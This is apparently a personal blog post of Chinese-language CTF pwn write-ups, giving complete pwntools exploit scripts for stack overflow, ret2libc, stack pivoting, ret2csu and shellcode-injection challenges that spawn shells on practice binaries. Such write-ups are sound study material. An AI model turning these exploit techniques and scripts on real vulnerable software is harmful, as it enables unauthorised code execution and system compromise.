wanna_pwn2own!

发布时间 2023-12-30 23:37:22作者: bamuwe

PicoCTF_2018_rop_chain

  • 函数参数劫持
  • 整数型绕过
  • \x00绕过len()
  1. 函数vuln中存在栈溢出

image-20231223201440814

  1. flag是后门函数,只要满足win1 && win2a1 = 0xDEADBAAD就可以得到flag

image-20231223201807526

3.win1 & win2存在于.bss段上,但是可以利用win_function1 & win_function2两个函数构造

image-20231223202105353

win1

win2

from pwn import *
#context.log_level = 'debug'
#io = gdb.debug('./PicoCTF_2018_rop_chain','break *080485CB')
io = process('./PicoCTF_2018_rop_chain')
offset = 0x18+4
elf = ELF('./PicoCTF_2018_rop_chain')
payload1 = b'A'*offset+p32(elf.sym['win_function1'])+p32(elf.sym['win_function2'])+p32(elf.sym['flag'])+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
#溢出专跳到`win_function1`初始化win1,再到`win_function2`同时传入覆盖`win_function2`的参数a,最后跳转到`flag`函数相同操作
io.sendlineafter(b'Enter your input>',payload1)
io.interactive()

pwn2_sctf_2016

  • lib地址泄露

image-20231223203034800

vuln()

  1. 程序对输入的v2做了限制首先要利用整数绕过if (v2 > 32)的限制

  2. 程序中没有现成的shell所以要通过printf泄露lib手动构造shell

    from pwn import * 
    context.log_level = 'debug'
    io = process('./pwn2_sctf_2016')
    #io = gdb.debug('./pwn2_sctf_2016','break *vuln')
    elf = ELF('./pwn2_sctf_2016')
    Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
    printf_got = elf.got['printf']
    printf_plt = elf.plt['printf']
    vuln_addr = elf.sym['vuln']
    main_addr = elf.sym['main']
    offset =48
    #1.绕过限制
    io.sendlineafter('How many bytes do you want me to read?',b'-1')
    #2.泄露lib
    payload1 = b'A'*offset+p32(printf_plt)+p32(vuln_addr)+p32(printf_got)
    io.sendlineafter(b'data!\n',payload1)
    io.recvuntil('\n')
    a = io.recv(4)
    printf_addr = u32(a)
    print('lib->',hex(printf_addr))
    #3.构造shell
    baseoffset = printf_addr - Lib.symbols['printf']
    sys_addr = Lib.sym['system']+baseoffset
    shell_addr = baseoffset+next(Lib.search(b'/bin/sh'))
    io.sendlineafter(b'read?',b'-1')
    payload2 = b'A'*offset+p32(sys_addr)+p32(main_addr)+p32(shell_addr)
    io.recvuntil(b'data!\n')
    io.sendline(payload2)
    io.interactive()
    

ciscn_2019_es_2

image-20231225113135740

  • 栈迁移
  1. read()存在溢出,但是只有0x30个位置不能拿到shell,所以考虑栈迁移
  2. 通过泄露参数s在栈上的位置,将payload写入栈上
  3. 迁移栈到参数s的位置,运行写入的payload拿到shell
leaved =>
mov esp,ebp 
pop ebp
#清除栈帧,初始化到执行前的样子
ret =>
pop eip
jmp
#相当于一个无条件转跳

image-20231225110712276

泄露出s在栈上的偏移地址

image-20231225124013883

完成栈迁移

from pwn import *
#context.log_level = 'debug'
io = process('./ciscn_2019_es_2')
#io = gdb.debug('./ciscn_2019_es_2','break *vul')
elf = ELF('./ciscn_2019_es_2')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
offset = 0x28
payload1 = b'A'*offset
io.sendafter(b"Welcome, my friend. What's your name?\n",payload1)
io.recvuntil(b'Hello,')
io.recvuntil(b'A'*0x28)
old_ebp = u32(io.recv(4))
s_addr = ebp_addr = old_ebp-0x10-offset
print('old_ebp -> ',hex(old_ebp))
print('s_addr -> ',hex(ebp_addr))
#pause()
payload2 = p32(0)+p32(elf.plt['system'])+p32(0)+p32(s_addr+0x10)+b'/bin/sh\x00' #`\x00`截断
#32位程序中参数在函数的后0x10位置,所以填充p32(0)
payload2 = payload2.ljust(0x28,b'A')
payload2 += p32(s_addr)+p32(0x08048562) #填充满栈空间,用p32(s_addr)+p32(0x08048562)劫持`leave`完成迁移并填充上新的`leave&ret`
io.send(payload2)
io.interactive()

ciscn_2019_s_3

  • ret2csu

    64位程序中可以通过栈溢出控制__lib_csu_init中的参数来控制rdx,rsi,edi寄存器

  • 64位函数传入的参数依次存在寄存器rdi,rsi,rdx (顺序从左到右),返回值存在rax

  • syscall函数会根据rax的值来调用函数,例如当rax==0x3B时,运行execute

  • 栈地址泄露

  • ROPgadgets

1.read中存在溢出

2.泄露buf的地址写入/bin/sh

3.通过ROPgadgets得到控制寄存器的地址

4.最后通过ret2csusyscall构造出excuse('/bin/sh',0,0)得到shell

ret2csu思路:

  1. 首先跳转到pop rbx的位置(csu_end),控制一系列寄存器,根据代码可知r13 -> rdx ; r14 -> rsi ; r15 -> edi

  2. retnmov rdx,r13的位置(csu_font),这里要注意存在call函数,同时,要满足cmp rbx,rbp$rbx-$rbp==0才继续运行,为了满足条件我们需要在第$1$步中提前布局

  3. 运行loc_400596的代码,add rsp,8抬高了栈顶,所以我们填充栈的时候也要注意多填充8个位置,接着是常规的填充,根据需要,不需要则全部填充为0xdeadbeef直到retn回到程序流

泄露栈地址后第二次栈布局如下

rbp
0x10 padding 开头为b"/bin/sh\x00"=>buf_addr
0x18 ret 0x000000000040059A csu_end
0x20 0 rbx
0x28 1 rbp
0x30 r12 bufaddr+0x10 call的参数
0x38 0 r13 => rdx
0x40 0 r14 => rsi
0x48 0 r15 => edi
0x50 retn 0x0000000000400580 2csu_font
0x58 0xdeadbeef rsp,8
0x60 rsp 0xdeadbeef rbx
0x68 0xdeadbeef rbp
0x70 0xdeadbeef r12
0x78 0xdeadbeef r13
0x80 0xdeadbeef r14
0x88 0xdeadbeef r15
0x90 ret 0x00000000004004E2 rax = 0x3B
0x98 retn 0x00000000004005a3 pop_rdi_addr
0x100 ret 0x0000000000400517 syscall
from pwn import *
context.log_level = 'debug'
io = process('./ciscn_s_3')
#io = gdb.debug('./ciscn_s_3','break *0x00000000004004E2')
elf = ELF('./ciscn_s_3')

padding = 0x10
payload1 = b'A'*padding+p64(elf.sym['vuln'])
io.send(payload1)
io.recv(0x20)   #这个偏移主要是gdb看出来的
ebp_addr = u64(io.recv(8))
#print('ebp_addr',hex(ebp_addr))
buf_addr = ebp_addr-0x148   #buu改成-0x118
#print('buf_addr ->',hex(buf_addr))
payload2 =b'/bin/sh\x00'
payload2 = payload2.ljust(0x10,b'\x00')
payload2 += p64(0x000000000040059A)+p64(0)+p64(1)+p64(buf_addr+0x10)+p64(0)+p64(0)+p64(0)+p64(0x0000000000400580)
payload2 += p64(0xdeadbeef)*5+p64(0x00000000004004E2)+p64(0x00000000004005a3)+p64(buf_addr)+p64(0x0000000000400517)
io.send(payload2)
io.interactive()

主要一步步动态调试,理解程序控制流.

ciscn_2019_n_5

  • ret2shellcode
  • libc泄露

image-20231228140132298

  1. 程序没有开启NX保护,并且是RWX权限可以运行段上代码
  2. 预期解:往name中写入shellcode,再利用get转跳到相应的.bss段上运行shellcode
  3. 非预期解:通过get泄露puts()地址,泄露libc地址,劫持程序流得到shell.注意这里64($rdi)32位程序传参的不同.
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p=process('./ciscn_2019_n_5')
p.recvuntil(b'name\n')
p.sendline(shellcode)
p.recvuntil(b'me?\n')
name=0x601080
payload=b'a'*0x28+p64(name)
p.sendline(payload)
p.interactive()
from pwn import *
#io = gdb.debug('./ciscn_2019_n_5','b *0x40067a')
context.log_level = 'debug'
io = process('./ciscn_2019_n_5')
#io = gdb.debug('./ciscn_2019_n_5','b main')
elf = ELF('./ciscn_2019_n_5')
Lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
padding = 0x20
#泄露libc
io.sendlineafter('tell me your name\n',b'1')
#padding+pop_rdi+puts_got+puts_plt+main_addr
payload1 = b'A'*0x28+p64(0x0000000000400713)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.sendlineafter('What do you want to say to me?\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr ->',hex(puts_addr))
io.sendlineafter('tell me your name\n',b'1')
#payload构造
Liboffset = puts_addr-Lib.sym['puts']
sys_addr = Lib.sym['system']+Liboffset
bin_sh_addr = next(Lib.search(b'/bin/sh'))+Liboffset
payload2 = b'A'*(0x28)+p64(0x0000000000400713)+p64(bin_sh_addr)+p64(0x00000000004004c9)+p64(sys_addr)
io.sendlineafter('What do you want to say to me?\n',payload2)
io.interactive()

ciscn_2019_ne_5

image-20231228210913917

  • 32ROP劫持

  • 程序逻辑

  • /bin/sh的替代方案sh

  • 栈上覆盖

  • ROPgadgets查找字符串

    image-20231228211113719

    GetFlag函数

    1.GetFlag函数中把先前AddLog中加入的src变量赋给了dest,这里存在溢出

    2.Print函数中有system函数,通过plt_system利用

    3.通过ROPgadgets得到sh字符串构造payload得到shell

bamuwe@qianenzhao:~/done/ciscn_2019_ne_5$ ROPgadget --binary ciscn_2019_ne_5 --string 'sh'
Strings information
============================================================
0x080482ea : sh
administer
1
payload1 padding 0x4C dest
(padding+leave)
system_plt_addr ret system
0xdeadbeef
sh 0x080482ea
from pwn import *
context.log_level = 'debug'
elf = ELF('./ciscn_2019_ne_5')
io = process('./ciscn_2019_ne_5')
#io = gdb.debug('./ciscn_2019_ne_5','break *080486C7')
io.sendlineafter(b'Please input admin password:',b'administrator')
io.sendlineafter(b':\n',b'1')
payload1 = b'A'*0x4C+p32(elf.sym['system'])+p32(0xdeadbeef)+p32(0x080482ea)	#不能用p32(0)替代p32(deadbeef)
io.sendlineafter(b'Please input new log info:',payload1)
io.sendlineafter(b':\n',b'4')
io.interactive()

bjdctf_2020_babyrop

image-20231229193724690

  • 64位泄露libc

  • vulnbuf变量存在溢出

  • 64位函数传入的参数依次存在寄存器rdi,rsi,rdx (顺序从左到右),返回值存在rax

    bamuwe@qianenzhao:~/done/bjdctf_2020_babyrop$ ROPgadget --binary bjdctf_2020_babyrop --only 'pop|ret'|grep rdi
    0x0000000000400733 : pop rdi ; ret
    
    1. 溢出泄露libc
    2. 构造payload拿到shell
rbp
padding 0x20
leave 0x8
pop_rdi ret 0x0000000000400733
puts_got pop rdi
puts_plt ret
main_addr ret

payload1

rbp
padding 0x20
leave 0x8
pop_rdi ret 0x0000000000400733
/bin/sh` pop rdi
system ret

payload2

from pwn import *
from LibcSearcher import LibcSearcher
io = process('./bjdctf_2020_babyrop')
#io = remote('node4.buuoj.cn',29488)
elf = ELF('./bjdctf_2020_babyrop')
payload1 = b'A'*0x28+p64(0x0000000000400733)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.sendlineafter(b'Pull up your sword and tell me u story!\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr->',hex(puts_addr))

Lib = LibcSearcher('puts',puts_addr)
baseoffset = puts_addr - Lib.dump('puts')
sys_addr = baseoffset + Lib.dump('system')
bin_sh_addr = baseoffset + Lib.dump('str_bin_sh')

payload2 = b'A'*0x28+p64(0x0000000000400733)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter(b'Pull up your sword and tell me u story!\n',payload2)
io.interactive()

jarvisoj_level3

image-20231229210336379

  • 函数参数劫持

  • 32位泄露libc

    32位程序的传参是栈的后四位开始,要注意的是,32位下write,putret位置是紧跟函数后面的

    payload1 = b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)

    这段代码中的p32(elf.sym['main'])就是ret,同时满足填充栈,传入参数

rbp
padding 0x88
leave 0x4
write_plt ret
main_addr ret_l 返回的地址
0x1 arg1
wirte_got arg2
0x4 arg3

payload1

rbp
padding 0x88
leave 0x4
system_addr ret
0xdeadbeef
bin_sh_addr aeg1

payload2

from pwn import *
#context.log_level = 'debug'
io = process('./level3')
#io = gdb.debug('./level3','break main')
elf = ELF('./level3')
Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
payload1 = b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
io.sendline(payload1)
io.recvuntil('Input:\n')
write_addr = u32(io.recv(4))
print('write_addr->',hex(write_addr))
baseoffset = write_addr - Lib.sym['write']
sys_addr = baseoffset + Lib.sym['system']
bin_sh_addr = baseoffset + next(Lib.search(b'/bin/sh'))
payload2 = b'A'*(0x88+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
io.sendlineafter(b'Input:\n',payload2)
io.interactive()

铁人三项(第五赛区)_2018_rop

  • 函数参数劫持

  • 32位泄露libc

from pwn import *
context.log_level = 'debug'
#io = gdb.debug('./2018_rop','break *0x8048474')
io = process('./2018_rop')
elf = ELF('./2018_rop')
Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
padding = 0x88
payload1 = b'A'*(padding+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
io.sendline(payload1)
write_addr = u32(io.recv(4))
print('write_addr -> ',hex(write_addr))
Liboffset = write_addr - Lib.sym['write']
sys_addr = Liboffset + Lib.sym['system']
bin_sh_addr = next(Lib.search(b'/bin/sh'))+Liboffset
payload2 = b'A'*(padding+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
io.sendline(payload2)
io.interactive()

ez_pz_hackover_2016

bamuwe@qianenzhao:~$ checksec ez_pz_hackover_2016
[*] '/home/bamuwe/ez_pz_hackover_2016'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

image-20231230200735028

image-20231230200746307

  • 逻辑绕过
  • \x00阶段
  • 动态调试计算栈空间
  • ret2shellcode
  1. 栈保护全关,考虑ret2shellcode
  2. 通过\x00绕过前置验证,进入vuln函数
  3. vuln函数中,会把&src赋值给dest这其中存在漏洞

正常思路这里就可以构造payload了,但是这里ida分析出来的dest栈空间为0x32与实际不符合,我们需要动态调试手动查看栈空间

image-20231230201124555

停在nop处查看栈

image-20231230201222685

image-20231230201722354

手动查找得到栈实际空间为0x1a

distance计算栈之间的距离

from pwn import *
context.log_level = 'debug'
#io = process('./ez_pz_hackover_2016')
io = gdb.debug('./ez_pz_hackover_2016','break vuln')
elf = ELF('./ez_pz_hackover_2016')
io.recvuntil(b'Yippie, lets crash: ')
s_addr = int(io.recv(10),16)
print('s_addr',hex(s_addr))
payload1 = b'crashme\x00'
payload1 = payload1.ljust(0x1a,b'A')
payload1 += p32(s_addr-0x1c)+asm(shellcraft.sh())
io.sendlineafter('> ',payload1)
io.interactive()

s栈上的空间写不下shellcode所以直接把shellcode写在ret地址之后.

?这里的s_addr为什么要-0x1c还不了解,偏移后的位置正好是一个输入的栈的起始但为什么是这个值还不清楚.

这道题应该也可以通过泄露Libc的方式做,但是没有成功